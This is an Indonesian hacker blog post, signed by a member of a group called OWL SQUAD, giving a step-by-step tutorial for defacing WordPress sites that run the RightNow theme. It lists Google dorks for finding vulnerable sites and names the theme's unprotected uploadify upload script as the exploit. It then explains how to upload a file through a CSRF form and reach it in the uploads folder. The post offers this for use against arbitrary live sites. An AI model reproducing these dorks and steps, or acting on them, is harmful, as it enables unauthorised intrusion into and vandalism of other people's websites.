Deface Wordpress Themes RightNow

Published by Admin Saturday, February 18, 2017

Pagii heker :p . Sekarang gw mau sare deface Metode Themes WordPress Themes RightNow,
mumpung lagi di net :), langsung saja siapain bahan bahannya :


BAHAN:
1. Dork: 

• inurl:/wp-content/themes/RightNow/ 

• inurl:/wp-content/themes/RightNow/includes/

• Index Of intext:themes/rightnow/

• Selebihnya gunain otak Bokeper :V

2. Exploit:

/wp-content/themes/RightNow/includes/uploadify/upload_background_image.php

contoh:

gugel.com/wp-content/themes/RightNow/includes/uploadify/upload_background_image.php

3.  CSRF. Ambil disini.


LANGKAH - LANGKAH:

1. Dorking ke google. Klik disini.

2. Pilih salah satu site.

3. Masukkan exploit nya.

4. Kalo vuln akan blank.

5. Masukkan ke CSRF.

6. Kalo file sukses ke upload bakal ada angka '1' .

7. Akses file?

site.com/wp-content/uploads/galleryimages/

Kalo masih belum jelas, simak video gw dibawah :D

Okee, sekian tutorial gw kali ini :) See ya next time :*

Kalo pengen belajar bareng, bisa gabung grup Facebook OWL SQUAD :) Klik.

Bisa juga follow twitter gw :v Twitter.

Regards,

Berandal, [OWL SQUAD]